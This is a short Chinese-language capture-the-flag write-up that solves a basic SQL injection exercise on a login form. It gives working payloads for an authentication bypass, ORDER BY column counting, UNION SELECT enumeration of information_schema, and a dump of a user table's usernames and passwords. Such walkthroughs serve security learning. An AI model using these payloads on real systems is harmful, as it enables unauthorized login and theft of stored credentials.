一道基礎的sql注入練習題,寫一下做題思路,

看到一個登錄框,隨便輸入發現是get傳參,嘗試是否存在sql注入,username=admin' password=123456,

頁面報錯,存在sql注入,嘗試使用萬能密碼,username=admin password=1' or 1=1 -- qwe,成功登錄,
引數username出存在注入點,構造sql陳述句尋找回顯點,步驟如下:
(1)猜解欄位數
當username=1' order by 4 -- qwe password=123456時,頁面報錯,

當username=1' order by 3 -- qwe password=123456時,頁面正常,
判斷有三個欄位,
(2)尋找回顯點
構造sql陳述句:username=1' union select 1,2,3 -- qew password=123456 ;發現存在兩個回顯點,

最后,通過構造sql陳述句,查庫名,查表名,查資料,得出flag,
查表名:1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 -- QWE

查列名:1' union select 1,2,column_name from information_schema.columns where table_name=表名 and table_schema=database() limit 0,1 -- QWE

查欄位內容:1' union select 1,欄位名,欄位名 from 表名 limit 0,1 -- QWE
這里可以用GROUP_CONCAT 函式將多行資料進行整合在一行輸出,
查表名:1' union select 1,2,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database() -- qwe

查列名:1' union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_name='geekuser' and table_schema=database() -- qwe

查欄位內容:1' union select 1,2,group_concat(id,username,password) from geekuser -- qwe

得出flag,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/323329.html
標籤:其他
